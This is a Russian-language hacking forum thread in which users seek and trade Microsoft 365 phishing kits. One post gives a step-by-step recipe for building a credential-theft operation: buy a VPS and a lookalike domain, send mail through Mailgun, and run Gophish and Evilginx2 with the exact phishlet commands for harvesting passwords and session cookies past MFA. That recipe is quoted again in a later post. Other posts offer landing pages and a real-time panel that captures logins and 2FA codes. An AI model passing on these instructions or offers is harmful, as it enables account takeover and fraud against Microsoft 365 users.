Фишинг под Microsoft365

[hackerman_228]

Кто подскажет, где можно взять/приобрести годный кит с фишингом ms365?

 

[perceptron]

Скрытый контент для пользователей: hackerman_228, Simba.
Последнее редактирование: 11.11.2020

 

[hackerman_228]

perceptron сказал(а):
Скрытое содержимое

Огромное спасибо, мира, добра, валида тебе)

 

[Barabulya]

Kanan сказал(а):
А может не будете мертвые темы апать клоуны?

Серьезный ты наш Хокаге, иди дом стереги...
Вложения
Screenshot_2021-08-08-21-13-10-1.png

 

[BankSpace]

У меня чистая целевая страница office365, дайте мне знать, если она вам понадобится

 

[†אָ†]

Как не удивительно, но тема продолжает жить (хотя вроде живет)

 

[hasthur]

Относительно дешевый способ)

1. Покупаете VPS;
2. Покупаете домен с хостингом (в записи DNS добавляете subdomains microsoft);
3. Идете на mailgun и верифицируете там свой домен (для отправки писем);
4. На VPS ставите Gophish (для отправки писем) и Evilgnix2 (для перехвата данных и кукис);
5. Поднимаете Gophish;
6. Поднимаете Evilgnix2:
: config domain phishdomain.com; - конфигурация вашего домена
: config ip 'your hosts's ip'; - конфигурация вашего VPS (где запущен Evilgnix2)
: phishlets hostname o365 microsoft.phishdomain.com; - прикручивание фишлета o365 к вашему домену
: phishlets enable o365; - включение фишлета
: lures create o365;
: lures get-url 1(or other ID);

 

[Lipshitz]

Here's a video course of pretty much what he just explained above. This is not my channel and I don't vouch for him in any way, I just remembered getting this a little while ago and thought it could help people here

Hacking Exploits in Hacker Chatroom
Practical Phishing course How to setup phishing infrastructure. How to launch your campaign. How to bypass MFA. How to evade spam filters. Credential capturing. Post engagement activities such as reporting. Considerations for blue team. Advice from real phishing engagements. ...
t.me

 

[woodenb0x]

hasthur сказал(а):
Относительно дешевый способ)

1. Покупаете VPS;
2. Покупаете домен с хостингом (в записи DNS добавляете subdomains microsoft);
3. Идете на mailgun и верифицируете там свой домен (для отправки писем);
4. На VPS ставите Gophish (для отправки писем) и Evilgnix2 (для перехвата данных и кукис);
5. Поднимаете Gophish;
6. Поднимаете Evilgnix2:
: config domain phishdomain.com; - конфигурация вашего домена
: config ip 'your hosts's ip'; - конфигурация вашего VPS (где запущен Evilgnix2)
: phishlets hostname o365 microsoft.phishdomain.com; - прикручивание фишлета o365 к вашему домену
: phishlets enable o365; - включение фишлета
: lures create o365;
: lures get-url 1(or other ID);
Нажмите, чтобы раскрыть...

А есть ли фишлет универсальный под перехват $username $password ??

 

[expert_kalash]

Есть реалтайм панель для 365, собирает логин пасс 2фа, юзер инфо.
GIF: https://s6.gifyu.com/images/365.gif

Если нужно обращайтесь.

 

[origiv]

Spear Phishing on Modern Platforms
Spear phishing is a social engineering activity intended to simulate a realistic attack scenario with the intent of bypassing technical security controls and persuading employees to perform various actions.
www.optiv.com

Полный мануал с установкой o365 evilginx2